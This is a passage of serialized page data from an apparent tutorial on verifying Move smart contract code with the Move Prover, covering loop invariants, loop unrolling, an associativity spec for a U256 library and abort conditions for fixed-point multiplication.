specify the loop invariant for the ",{"type":23,"tag":209,"props":11541,"children":11543},{"className":11542},[],[11544],{"type":28,"value":11545},"while",{"type":28,"value":11547}," loop. Note that because the loop invariant executes ",{"type":23,"tag":87,"props":11549,"children":11550},{},[11551],{"type":28,"value":11552},"after",{"type":28,"value":11554}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":209,"props":11556,"children":11558},{"className":11557},[],[11559],{"type":28,"value":11560},"i \u003C= n_coins",{"type":28,"value":124},{"type":23,"tag":202,"props":11563,"children":11565},{"code":11564,"language":205,"meta":7,"className":206,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[11566],{"type":23,"tag":209,"props":11567,"children":11568},{"__ignoreMap":7},[11569,11580,11591,11626,11649,11732,11739,11762],{"type":23,"tag":213,"props":11570,"children":11571},{"class":215,"line":216},[11572,11576],{"type":23,"tag":213,"props":11573,"children":11574},{"style":1362},[11575],{"type":28,"value":11164},{"type":23,"tag":213,"props":11577,"children":11578},{"style":220},[11579],{"type":28,"value":8617},{"type":23,"tag":213,"props":11581,"children":11582},{"class":215,"line":226},[11583,11587],{"type":23,"tag":213,"props":11584,"children":11585},{"style":268},[11586],{"type":28,"value":9013},{"type":23,"tag":213,"props":11588,"children":11589},{"style":220},[11590],{"type":28,"value":1375},{"type":23,"tag":213,"props":11592,"children":11593},{"class":215,"line":524},[11594,11598,11602,11606,11610,11614,11618,11622],{"type":23,"tag":213,"props":11595,"children":11596},{"style":268},[11597],{"type":28,"value":11187},{"type":23,"tag":213,"props":11599,"children":11600},{"style":257},[11601],{"type":28,"value":8642},{"type":23,"tag":213,"props":11603,"children":11604},{"style":220},[11605],{"type":28,"value":265},{"type":23,"tag":213,"props":11607,"children":11608},{"style":268},[11609],{"type":28,"value":8651},{"type":23,"tag":213,"props":11611,"children":11612},{"style":220},[11613],{"type":28,"value":298},{"type":23,"tag":213,"props":11615,"children":11616},{"style":274},[11617],{"type":28,"value":8660},{"type":23,"tag":213,"props":11619,"children":11620},{"style":268},[11621],{"type":28,"value":3494},{"type":23,"tag":213,"props":11623,"children":11624},{"style":220},[11625],{"type":28,"value":313},{"type":23,"tag":213,"props":11627,"children":11628},{"class":215,"line":533},[11629,11633,11637,11641,11645],{"type":23,"tag":213,"props":11630,"children":11631},{"style":268},[11632],{"type":28,"value":11187},{"type":23,"tag":213,"props":11634,"children":11635},{"style":268},[11636],{"type":28,"value":3494},{"type":23,"tag":213,"props":11638,"children":11639},{"style":274},[11640],{"type":28,"value":8283},{"type":23,"tag":213,"props":11642,"children":11643},{"style":268},[11644],{"type":28,"value":8571},{"type":23,"tag":213,"props":11646,"children":11647},{"style":220},[11648],{"type":28,"value":313},{"type":23,"tag":213,"props":11650,"children":11651},{"class":215,"line":543},[11652,11656,11660,11664,11668,11672,11676,11680,11684,11688,11692,11696,11700,11704,11708,11712,11716,11720,11724,11728],{"type":23,"tag":213,"props":11653,"children":11654},{"style":268},[11655],{"type":28,"value":11187},{"type":23,"tag":213,"props":11657,"children":11658},{"style":268},[11659],{"type":28,"value":8703},{"type":23,"tag":213,"props":11661,"children":11662},{"style":268},[11663],{"type":28,"value":8708},{"type":23,"tag":213,"props":11665,"children":11666},{"style":230},[11667],{"type":28,"value":3141},{"type":23,"tag":213,"props":11669,"children":11670},{"style":514},[11671],{"type":28,"value":517},{"type":23,"tag":213,"props":11673,"children":11674},{"style":274},[11675],{"type":28,"value":3150},{"type":23,"tag":213,"props":11677,"children":11678},{"style":268},[11679],{"type":28,"value":3826},{"type":23,"tag":213,"props":11681,"children":11682},{"style":274},[11683],{"type":28,"value":277},{"type":23,"tag":213,"props":11685,"children":11686},{"style":268},[11687],{"type":28,"value":8507},{"type":23,"tag":213,"props":11689,"children":11690},{"style":220},[11691],{"type":28,"value":3821},{"type":23,"tag":213,"props":11693,"children":11694},{"style":268},[11695],{"type":28,"value":8741},{"type":23,"tag":213,"props":11697,"children":11698},{"style":220},[11699],{"type":28,"value":8746},{"type":23,"tag":213,"props":11701,"children":11702},{"style":274},[11703],{"type":28,"value":8660},{"type":23,"tag":213,"props":11705,"children":11706},{"style":268},[11707],{"type":28,"value":8755},{"type":23,"tag":213,"props":11709,"children":11710},{"style":220},[11711],{"type":28,"value":3821},{"type":23,"tag":213,"props":11713,"children":11714},{"style":268},[11715],{"type":28,"value":8741},{"type":23,"tag":213,"props":11717,"children":11718},{"style":220},[11719],{"type":28,"value":8746},{"type":23,"tag":213,"props":11721,"children":11722},{"style":274},[11723],{"type":28,"value":1696},{"type":23,"tag":213,"props":11725,"children":11726},{"style":268},[11727],{"type":28,"value":8571},{"type":23,"tag":213,"props":11729,"children":11730},{"style":220},[11731],{"type":28,"value":313},{"type":23,"tag":213,"props":11733,"children":11734},{"class":215,"line":551},[11735],{"type":23,"tag":213,"props":11736,"children":11737},{"style":220},[11738],{"type":28,"value":9005},{"type":23,"tag":213,"props":11740,"children":11741},{"class":215,"line":570},[11742,11746,11750,11754,11758],{"type":23,"tag":213,"props":11743,"children":11744},{"style":220},[11745],{"type":28,"value":11336},{"type":23,"tag":213,"props":11747,"children":11748},{"style":268},[11749],{"type":28,"value":3826},{"type":23,"tag":213,"props":11751,"children":11752},{"style":274},[11753],{"type":28,"value":8804},{"type":23,"tag":213,"props":11755,"children":11756},{"style":268},[11757],{"type":28,"value":8571},{"type":23,"tag":213,"props":11759,"children":11760},{"style":220},[11761],{"type":28,"value":2183},{"type":23,"tag":213,"props":11763,"children":11764},{"class":215,"line":655},[11765],{"type":23,"tag":213,"props":11766,"children":11767},{"style":220},[11768],{"type":28,"value":11360},{"type":23,"tag":24,"props":11770,"children":11771},{},[11772],{"type":28,"value":11773},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":11775,"children":11776},{},[11777,11779,11784],{"type":28,"value":11778},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":209,"props":11780,"children":11782},{"className":11781},[],[11783],{"type":28,"value":605},{"type":28,"value":11785}," function will always iterate exactly 4 times:",{"type":23,"tag":202,"props":11787,"children":11789},{"code":11788,"language":205,"meta":7,"className":206,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[11790],{"type":23,"tag":209,"props":11791,"children":11792},{"__ignoreMap":7},[11793,11801,11834,11841,11857,11864,11888,11912,11957,12001,12008],{"type":23,"tag":213,"props":11794,"children":11795},{"class":215,"line":216},[11796],{"type":23,"tag":213,"props":11797,"children":11798},{"style":537},[11799],{"type":28,"value":11800},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":213,"props":11802,"children":11803},{"class":215,"line":226},[11804,11808,11813,11817,11821,11825,11830],{"type":23,"tag":213,"props":11805,"children":11806},{"style":230},[11807],{"type":28,"value":632},{"type":23,"tag":213,"props":11809,"children":11810},{"style":220},[11811],{"type":28,"value":11812}," WORDS",{"type":23,"tag":213,"props":11814,"children":11815},{"style":274},[11816],{"type":28,"value":277},{"type":23,"tag":213,"props":11818,"children":11819},{"style":290},[11820],{"type":28,"value":308},{"type":23,"tag":213,"props":11822,"children":11823},{"style":274},[11824],{"type":28,"value":511},{"type":23,"tag":213,"props":11826,"children":11827},{"style":514},[11828],{"type":28,"value":11829}," 4",{"type":23,"tag":213,"props":11831,"children":11832},{"style":220},[11833],{"type":28,"value":313},{"type":23,"tag":213,"props":11835,"children":11836},{"class":215,"line":524},[11837],{"type":23,"tag":213,"props":11838,"children":11839},{"emptyLinePlaceholder":18},[11840],{"type":28,"value":530},{"type":23,"tag":213,"props":11842,"children":11843},{"class":215,"line":533},[11844,11848,11852],{"type":23,"tag":213,"props":11845,"children":11846},{"style":220},[11847],{"type":28,"value":3821},{"type":23,"tag":213,"props":11849,"children":11850},{"style":274},[11851],{"type":28,"value":9675},{"type":23,"tag":213,"props":11853,"children":11854},{"style":220},[11855],{"type":28,"value":11856},"]\n",{"type":23,"tag":213,"props":11858,"children":11859},{"class":215,"line":543},[11860],{"type":23,"tag":213,"props":11861,"children":11862},{"emptyLinePlaceholder":18},[11863],{"type":28,"value":530},{"type":23,"tag":213,"props":11865,"children":11866},{"class":215,"line":551},[11867,11872,11876,11880,11884],{"type":23,"tag":213,"props":11868,"children":11869},{"style":230},[11870],{"type":28,"value":11871},"let",{"type":23,"tag":213,"props":11873,"children":11874},{"style":268},[11875],{"type":28,"value":3494},{"type":23,"tag":213,"props":11877,"children":11878},{"style":274},[11879],{"type":28,"value":511},{"type":23,"tag":213,"props":11881,"children":11882},{"style":514},[11883],{"type":28,"value":517},{"type":23,"tag":213,"props":11885,"children":11886},{"style":220},[11887],{"type":28,"value":313},{"type":23,"tag":213,"props":11889,"children":11890},{"class":215,"line":570},[11891,11895,11899,11903,11907],{"type":23,"tag":213,"props":11892,"children":11893},{"style":1362},[11894],{"type":28,"value":11545},{"type":23,"tag":213,"props":11896,"children":11897},{"style":220},[11898],{"type":28,"value":400},{"type":23,"tag":213,"props":11900,"children":11901},{"style":268},[11902],{"type":28,"value":3826},{"type":23,"tag":213,"props":11904,"children":11905},{"style":274},[11906],{"type":28,"value":8804},{"type":23,"tag":213,"props":11908,"children":11909},{"style":220},[11910],{"type":28,"value":11911}," WORDS) {\n",{"type":23,"tag":213,"props":11913,"children":11914},{"class":215,"line":655},[11915,11919,11924,11928,11933,11937,11941,11945,11949,11953],{"type":23,"tag":213,"props":11916,"children":11917},{"style":230},[11918],{"type":28,"value":487},{"type":23,"tag":213,"props":11920,"children":11921},{"style":268},[11922],{"type":28,"value":11923}," a1",{"type":23,"tag":213,"props":11925,"children":11926},{"style":274},[11927],{"type":28,"value":511},{"type":23,"tag":213,"props":11929,"children":11930},{"style":257},[11931],{"type":28,"value":11932}," get",{"type":23,"tag":213,"props":11934,"children":11935},{"style":220},[11936],{"type":28,"value":265},{"type":23,"tag":213,"props":11938,"children":11939},{"style":274},[11940],{"type":28,"value":405},{"type":23,"tag":213,"props":11942,"children":11943},{"style":268},[11944],{"type":28,"value":36},{"type":23,"tag":213,"props":11946,"children":11947},{"style":220},[11948],{"type":28,"value":424},{"type":23,"tag":213,"props":11950,"children":11951},{"style":268},[11952],{"type":28,"value":3826},{"type":23,"tag":213,"props":11954,"children":11955},{"style":220},[11956],{"type":28,"value":2867},{"type":23,"tag":213,"props":11958,"children":11959},{"class":215,"line":1176},[11960,11964,11969,11973,11977,11981,11985,11989,11993,11997],{"type":23,"tag":213,"props":11961,"children":11962},{"style":230},[11963],{"type":28,"value":487},{"type":23,"tag":213,"props":11965,"children":11966},{"style":268},[11967],{"type":28,"value":11968}," b1",{"type":23,"tag":213,"props":11970,"children":11971},{"style":274},[11972],{"type":28,"value":511},{"type":23,"tag":213,"props":11974,"children":11975},{"style":257},[11976],{"type":28,"value":11932},{"type":23,"tag":213,"props":11978,"children":11979},{"style":220},[11980],{"type":28,"value":265},{"type":23,"tag":213,"props":11982,"children":11983},{"style":274},[11984],{"type":28,"value":405},{"type":23,"tag":213,"props":11986,"children":11987},{"style":268},[11988],{"type":28,"value":3319},{"type":23,"tag":213,"props":11990,"children":11991},{"style":220},[11992],{"type":28,"value":424},{"type":23,"tag":213,"props":11994,"children":11995},{"style":268},[11996],{"type":28,"value":3826},{"type":23,"tag":213,"props":11998,"children":11999},{"style":220},[12000],{"type":28,"value":2867},{"type":23,"tag":213,"props":12002,"children":12003},{"class":215,"line":1202},[12004],{"type":23,"tag":213,"props":12005,"children":12006},{"emptyLinePlaceholder":18},[12007],{"type":28,"value":530},{"type":23,"tag":213,"props":12009,"children":12010},{"class":215,"line":1758},[12011,12015,12019],{"type":23,"tag":213,"props":12012,"children":12013},{"style":220},[12014],{"type":28,"value":3821},{"type":23,"tag":213,"props":12016,"children":12017},{"style":274},[12018],{"type":28,"value":9675},{"type":23,"tag":213,"props":12020,"children":12021},{"style":220},[12022],{"type":28,"value":11856},{"type":23,"tag":24,"props":12024,"children":12025},{},[12026],{"type":28,"value":12027},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":202,"props":12029,"children":12031},{"code":12030},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[12032],{"type":23,"tag":209,"props":12033,"children":12034},{"__ignoreMap":7},[12035],{"type":28,"value":12030},{"type":23,"tag":24,"props":12037,"children":12038},{},[12039,12041,12046,12047,12053],{"type":28,"value":12040},"For the ",{"type":23,"tag":95,"props":12042,"children":12043},{},[12044],{"type":28,"value":12045},"Associative Property",{"type":28,"value":400},{"type":23,"tag":209,"props":12048,"children":12050},{"className":12049},[],[12051],{"type":28,"value":12052},"a+(b+c) = (a+b)+c",{"type":28,"value":12054},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":202,"props":12056,"children":12058},{"code":12057,"language":205,"meta":7,"className":206,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[12059],{"type":23,"tag":209,"props":12060,"children":12061},{"__ignoreMap":7},[12062,12138,12177,12218,12257,12298,12305,12355,12394],{"type":23,"tag":213,"props":12063,"children":12064},{"class":215,"line":216},[12065,12069,12074,12078,12082,12086,12090,12094,12098,12102,12106,12110,12114,12118,12122,12126,12130,12134],{"type":23,"tag":213,"props":12066,"children":12067},{"style":268},[12068],{"type":28,"value":7198},{"type":23,"tag":213,"props":12070,"children":12071},{"style":257},[12072],{"type":28,"value":12073}," add_assoc_property",{"type":23,"tag":213,"props":12075,"children":12076},{"style":220},[12077],{"type":28,"value":265},{"type":23,"tag":213,"props":12079,"children":12080},{"style":268},[12081],{"type":28,"value":36},{"type":23,"tag":213,"props":12083,"children":12084},{"style":274},[12085],{"type":28,"value":277},{"type":23,"tag":213,"props":12087,"children":12088},{"style":290},[12089],{"type":28,"value":4825},{"type":23,"tag":213,"props":12091,"children":12092},{"style":220},[12093],{"type":28,"value":424},{"type":23,"tag":213,"props":12095,"children":12096},{"style":268},[12097],{"type":28,"value":3319},{"type":23,"tag":213,"props":12099,"children":12100},{"style":274},[12101],{"type":28,"value":277},{"type":23,"tag":213,"props":12103,"children":12104},{"style":290},[12105],{"type":28,"value":4825},{"type":23,"tag":213,"props":12107,"children":12108},{"style":220},[12109],{"type":28,"value":424},{"type":23,"tag":213,"props":12111,"children":12112},{"style":268},[12113],{"type":28,"value":3244},{"type":23,"tag":213,"props":12115,"children":12116},{"style":274},[12117],{"type":28,"value":277},{"type":23,"tag":213,"props":12119,"children":12120},{"style":290},[12121],{"type":28,"value":4825},{"type":23,"tag":213,"props":12123,"children":12124},{"style":220},[12125],{"type":28,"value":2121},{"type":23,"tag":213,"props":12127,"children":12128},{"style":274},[12129],{"type":28,"value":277},{"type":23,"tag":213,"props":12131,"children":12132},{"style":290},[12133],{"type":28,"value":965},{"type":23,"tag":213,"props":12135,"children":12136},{"style":220},[12137],{"type":28,"value":1375},{"type":23,"tag":213,"props":12139,"children":12140},{"class":215,"line":226},[12141,12145,12149,12153,12157,12161,12165,12169,12173],{"type":23,"tag":213,"props":12142,"children":12143},{"style":230},[12144],{"type":28,"value":487},{"type":23,"tag":213,"props":12146,"children":12147},{"style":268},[12148],{"type":28,"value":8278},{"type":23,"tag":213,"props":12150,"children":12151},{"style":274},[12152],{"type":28,"value":511},{"type":23,"tag":213,"props":12154,"children":12155},{"style":257},[12156],{"type":28,"value":9666},{"type":23,"tag":213,"props":12158,"children":12159},{"style":220},[12160],{"type":28,"value":265},{"type":23,"tag":213,"props":12162,"children":12163},{"style":268},[12164],{"type":28,"value":3319},{"type":23,"tag":213,"props":12166,"children":12167},{"style":220},[12168],{"type":28,"value":424},{"type":23,"tag":213,"props":12170,"children":12171},{"style":268},[12172],{"type":28,"value":3244},{"type":23,"tag":213,"props":12174,"children":12175},{"style":220},[12176],{"type":28,"value":2867},{"type":23,"tag":213,"props":12178,"children":12179},{"class":215,"line":524},[12180,12184,12189,12193,12197,12201,12205,12209,12214],{"type":23,"tag":213,"props":12181,"children":12182},{"style":230},[12183],{"type":28,"value":487},{"type":23,"tag":213,"props":12185,"children":12186},{"style":268},[12187],{"type":28,"value":12188}," result_11",{"type":23,"tag":213,"props":12190,"children":12191},{"style":274},[12192],{"type":28,"value":511},{"type":23,"tag":213,"props":12194,"children":12195},{"style":257},[12196],{"type":28,"value":9666},{"type":23,"tag":213,"props":12198,"children":12199},{"style":220},[12200],{"type":28,"value":265},{"type":23,"tag":213,"props":12202,"children":12203},{"style":268},[12204],{"type":28,"value":36},{"type":23,"tag":213,"props":12206,"children":12207},{"style":220},[12208],{"type":28,"value":424},{"type":23,"tag":213,"props":12210,"children":12211},{"style":268},[12212],{"type":28,"value":12213},"result_1",{"type":23,"tag":213,"props":12215,"children":12216},{"style":220},[12217],{"type":28,"value":2867},{"type":23,"tag":213,"props":12219,"children":12220},{"class":215,"line":533},[12221,12225,12229,12233,12237,12241,12245,12249,12253],{"type":23,"tag":213,"props":12222,"children":12223},{"style":230},[12224],{"type":28,"value":487},{"type":23,"tag":213,"props":12226,"children":12227},{"style":268},[12228],{"type":28,"value":8304},{"type":23,"tag":213,"props":12230,"children":12231},{"style":274},[12232],{"type":28,"value":511},{"type":23,"tag":213,"props":12234,"children":12235},{"style":257},[12236],{"type":28,"value":9666},{"type":23,"tag":213,"props":12238,"children":12239},{"style":220},[12240],{"type":28,"value":265},{"type":23,"tag":213,"props":12242,"children":12243},{"style":268},[12244],{"type":28,"value":36},{"type":23,"tag":213,"props":12246,"children":12247},{"style":220},[12248],{"type":28,"value":424},{"type":23,"tag":213,"props":12250,"children":12251},{"style":268},[12252],{"type":28,"value":3319},{"type":23,"tag":213,"props":12254,"children":12255},{"style":220},[12256],{"type":28,"value":2867},{"type":23,"tag":213,"props":12258,"children":12259},{"class":215,"line":543},[12260,12264,12269,12273,12277,12281,12285,12289,12294],{"type":23,"tag":213,"props":12261,"children":12262},{"style":230},[12263],{"type":28,"value":487},{"type":23,"tag":213,"props":12265,"children":12266},{"style":268},[12267],{"type":28,"value":12268}," result_22",{"type":23,"tag":213,"props":12270,"children":12271},{"style":274},[12272],{"type":28,"value":511},{"type":23,"tag":213,"props":12274,"children":12275},{"style":257},[12276],{"type":28,"value":9666},{"type":23,"tag":213,"props":12278,"children":12279},{"style":220},[12280],{"type":28,"value":265},{"type":23,"tag":213,"props":12282,"children":12283},{"style":268},[12284],{"type":28,"value":3244},{"type":23,"tag":213,"props":12286,"children":12287},{"style":220},[12288],{"type":28,"value":424},{"type":23,"tag":213,"props":12290,"children":12291},{"style":268},[12292],{"type":28,"value":12293},"result_2",{"type":23,"tag":213,"props":12295,"children":12296},{"style":220},[12297],{"type":28,"value":2867},{"type":23,"tag":213,"props":12299,"children":12300},{"class":215,"line":551},[12301],{"type":23,"tag":213,"props":12302,"children":12303},{"emptyLinePlaceholder":18},[12304],{"type":28,"value":530},{"type":23,"tag":213,"props":12306,"children":12307},{"class":215,"line":570},[12308,12312,12316,12320,12325,12329,12333,12338,12342,12346,12351],{"type":23,"tag":213,"props":12309,"children":12310},{"style":230},[12311],{"type":28,"value":487},{"type":23,"tag":213,"props":12313,"children":12314},{"style":268},[12315],{"type":28,"value":7948},{"type":23,"tag":213,"props":12317,"children":12318},{"style":274},[12319],{"type":28,"value":511},{"type":23,"tag":213,"props":12321,"children":12322},{"style":257},[12323],{"type":28,"value":12324}," compare",{"type":23,"tag":213,"props":12326,"children":12327},{"style":220},[12328],{"type":28,"value":265},{"type":23,"tag":213,"props":12330,"children":12331},{"style":274},[12332],{"type":28,"value":405},{"type":23,"tag":213,"props":12334,"children":12335},{"style":268},[12336],{"type":28,"value":12337},"result_11",{"type":23,"tag":213,"props":12339,"children":12340},{"style":220},[12341],{"type":28,"value":424},{"type":23,"tag":213,"props":12343,"children":12344},{"style":274},[12345],{"type":28,"value":405},{"type":23,"tag":213,"props":12347,"children":12348},{"style":268},[12349],{"type":28,"value":12350},"result_22",{"type":23,"tag":213,"props":12352,"children":12353},{"style":220},[12354],{"type":28,"value":2867},{"type":23,"tag":213,"props":12356,"children":12357},{"class":215,"line":655},[12358,12362,12367,12371,12375,12380,12384,12389],{"type":23,"tag":213,"props":12359,"children":12360},{"style":1362},[12361],{"type":28,"value":2653},{"type":23,"tag":213,"props":12363,"children":12364},{"style":220},[12365],{"type":28,"value":12366}," ( ",{"type":23,"tag":213,"props":12368,"children":12369},{"style":268},[12370],{"type":28,"value":8013},{"type":23,"tag":213,"props":12372,"children":12373},{"style":274},[12374],{"type":28,"value":3379},{"type":23,"tag":213,"props":12376,"children":12377},{"style":220},[12378],{"type":28,"value":12379}," EQUAL ) ",{"type":23,"tag":213,"props":12381,"children":12382},{"style":230},[12383],{"type":28,"value":1710},{"type":23,"tag":213,"props":12385,"children":12386},{"style":1362},[12387],{"type":28,"value":12388}," else",{"type":23,"tag":213,"props":12390,"children":12391},{"style":230},[12392],{"type":28,"value":12393}," false\n",{"type":23,"tag":213,"props":12395,"children":12396},{"class":215,"line":1176},[12397],{"type":23,"tag":213,"props":12398,"children":12399},{"style":220},[12400],{"type":28,"value":1208},{"type":23,"tag":24,"props":12402,"children":12403},{},[12404],{"type":28,"value":12405},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":202,"props":12407,"children":12409},{"code":12408,"language":205,"meta":7,"className":206,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[12410],{"type":23,"tag":209,"props":12411,"children":12412},{"__ignoreMap":7},[12413,12428,12532,12556],{"type":23,"tag":213,"props":12414,"children":12415},{"class":215,"line":216},[12416,12420,12424],{"type":23,"tag":213,"props":12417,"children":12418},{"style":268},[12419],{"type":28,"value":8361},{"type":23,"tag":213,"props":12421,"children":12422},{"style":268},[12423],{"type":28,"value":12073},{"type":23,"tag":213,"props":12425,"children":12426},{"style":220},[12427],{"type":28,"value":1375},{"type":23,"tag":213,"props":12429,"children":12430},{"class":215,"line":226},[12431,12435,12439,12444,12448,12452,12456,12460,12464,12468,12472,12476,12480,12484,12488,12492,12496,12500,12504,12508,12512,12516,12520,12524,12528],{"type":23,"tag":213,"props":12432,"children":12433},{"style":268},[12434],{"type":28,"value":9985},{"type":23,"tag":213,"props":12436,"children":12437},{"style":220},[12438],{"type":28,"value":400},{"type":23,"tag":213,"props":12440,"children":12441},{"style":257},[12442],{"type":28,"value":12443},"value_of_U256",{"type":23,"tag":213,"props":12445,"children":12446},{"style":220},[12447],{"type":28,"value":265},{"type":23,"tag":213,"props":12449,"children":12450},{"style":268},[12451],{"type":28,"value":36},{"type":23,"tag":213,"props":12453,"children":12454},{"style":220},[12455],{"type":28,"value":298},{"type":23,"tag":213,"props":12457,"children":12458},{"style":274},[12459],{"type":28,"value":2703},{"type":23,"tag":213,"props":12461,"children":12462},{"style":257},[12463],{"type":28,"value":9787},{"type":23,"tag":213,"props":12465,"children":12466},{"style":220},[12467],{"type":28,"value":265},{"type":23,"tag":213,"props":12469,"children":12470},{"style":268},[12471],{"type":28,"value":3319},{"type":23,"tag":213,"props":12473,"children":12474},{"style":220},[12475],{"type":28,"value":8922},{"type":23,"tag":213,"props":12477,"children":12478},{"style":274},[12479],{"type":28,"value":2703},{"type":23,"tag":213,"props":12481,"children":12482},{"style":257},[12483],{"type":28,"value":9787},{"type":23,"tag":213,"props":12485,"children":12486},{"style":220},[12487],{"type":28,"value":265},{"type":23,"tag":213,"props":12489,"children":12490},{"style":268},[12491],{"type":28,"value":3244},{"type":23,"tag":213,"props":12493,"children":12494},{"style":220},[12495],{"type":28,"value":298},{"type":23,"tag":213,"props":12497,"children":12498},{"style":274},[12499],{"type":28,"value":10026},{"type":23,"tag":213,"props":12501,"children":12502},{"style":290},[12503],{"type":28,"value":9743},{"type":23,"tag":213,"props":12505,"children":12506},{"style":274},[12507],{"type":28,"value":282},{"type":23,"tag":213,"props":12509,"children":12510},{"style":290},[12511],{"type":28,"value":9743},{"type":23,"tag":213,"props":12513,"children":12514},{"style":274},[12515],{"type":28,"value":282},{"type":23,"tag":213,"props":12517,"children":12518},{"style":290},[12519],{"type":28,"value":9743},{"type":23,"tag":213,"props":12521,"children":12522},{"style":274},[12523],{"type":28,"value":282},{"type":23,"tag":213,"props":12525,"children":12526},{"style":290},[12527],{"type":28,"value":9743},{"type":23,"tag":213,"props":12529,"children":12530},{"style":220},[12531],{"type":28,"value":313},{"type":23,"tag":213,"props":12533,"children":12534},{"class":215,"line":524},[12535,12539,12543,12547,12552],{"type":23,"tag":213,"props":12536,"children":12537},{"style":268},[12538],{"type":28,"value":10283},{"type":23,"tag":213,"props":12540,"children":12541},{"style":268},[12542],{"type":28,"value":9246},{"type":23,"tag":213,"props":12544,"children":12545},{"style":274},[12546],{"type":28,"value":3379},{"type":23,"tag":213,"props":12548,"children":12549},{"style":230},[12550],{"type":28,"value":12551}," true",{"type":23,"tag":213,"props":12553,"children":12554},{"style":220},[12555],{"type":28,"value":313},{"type":23,"tag":213,"props":12557,"children":12558},{"class":215,"line":533},[12559],{"type":23,"tag":213,"props":12560,"children":12561},{"style":220},[12562],{"type":28,"value":1208},{"type":23,"tag":24,"props":12564,"children":12565},{},[12566],{"type":28,"value":12567},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":202,"props":12569,"children":12570},{"code":12030},[12571],{"type":23,"tag":209,"props":12572,"children":12573},{"__ignoreMap":7},[12574],{"type":28,"value":12030},{"type":23,"tag":24,"props":12576,"children":12577},{},[12578,12580,12587],{"type":28,"value":12579},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":36,"props":12581,"children":12584},{"href":12582,"rel":12583},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[40],[12585],{"type":28,"value":12586},"spec-lang.md",{"type":28,"value":12588}," in the Move Repository.",{"type":23,"tag":47,"props":12590,"children":12592},{"id":12591},"use-cases",[12593],{"type":28,"value":12594},"Use Cases",{"type":23,"tag":24,"props":12596,"children":12597},{},[12598],{"type":28,"value":12599},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":12601,"children":12602},{},[12603],{"type":28,"value":12604},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":9693,"props":12606,"children":12608},{"id":12607},"error-conditions",[12609],{"type":28,"value":12610},"Error Conditions",{"type":23,"tag":24,"props":12612,"children":12613},{},[12614,12616,12622],{"type":28,"value":12615},"Taking an example from ",{"type":23,"tag":209,"props":12617,"children":12619},{"className":12618},[],[12620],{"type":28,"value":12621},"std::fixed_point32",{"type":28,"value":12623},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":202,"props":12625,"children":12627},{"code":12626,"language":205,"meta":7,"className":206,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[12628],{"type":23,"tag":209,"props":12629,"children":12630},{"__ignoreMap":7},[12631,12652,12672,12693,12739,12747,12810,12849],{"type":23,"tag":213,"props":12632,"children":12633},{"class":215,"line":216},[12634,12638,12643,12648],{"type":23,"tag":213,"props":12635,"children":12636},{"style":268},[12637],{"type":28,"value":9013},{"type":23,"tag":213,"props":12639,"children":12640},{"style":268},[12641],{"type":28,"value":12642}," schema",{"type":23,"tag":213,"props":12644,"children":12645},{"style":290},[12646],{"type":28,"value":12647}," MultiplyAbortsIf",{"type":23,"tag":213,"props":12649,"children":12650},{"style":220},[12651],{"type":28,"value":1375},{"type":23,"tag":213,"props":12653,"children":12654},{"class":215,"line":226},[12655,12660,12664,12668],{"type":23,"tag":213,"props":12656,"children":12657},{"style":268},[12658],{"type":28,"value":12659}," val",{"type":23,"tag":213,"props":12661,"children":12662},{"style":274},[12663],{"type":28,"value":277},{"type":23,"tag":213,"props":12665,"children":12666},{"style":268},[12667],{"type":28,"value":9816},{"type":23,"tag":213,"props":12669,"children":12670},{"style":220},[12671],{"type":28,"value":313},{"type":23,"tag":213,"props":12673,"children":12674},{"class":215,"line":524},[12675,12680,12684,12689],{"type":23,"tag":213,"props":12676,"children":12677},{"style":268},[12678],{"type":28,"value":12679}," multiplier",{"type":23,"tag":213,"props":12681,"children":12682},{"style":274},[12683],{"type":28,"value":277},{"type":23,"tag":213,"props":12685,"children":12686},{"style":290},[12687],{"type":28,"value":12688}," FixedPoint32",{"type":23,"tag":213,"props":12690,"children":12691},{"style":220},[12692],{"type":28,"value":313},{"type":23,"tag":213,"props":12694,"children":12695},{"class":215,"line":533},[12696,12701,12706,12710,12715,12719,12724,12729,12734],{"type":23,"tag":213,"props":12697,"children":12698},{"style":268},[12699],{"type":28,"value":12700}," aborts_if",{"type":23,"tag":213,"props":12702,"children":12703},{"style":257},[12704],{"type":28,"value":12705}," 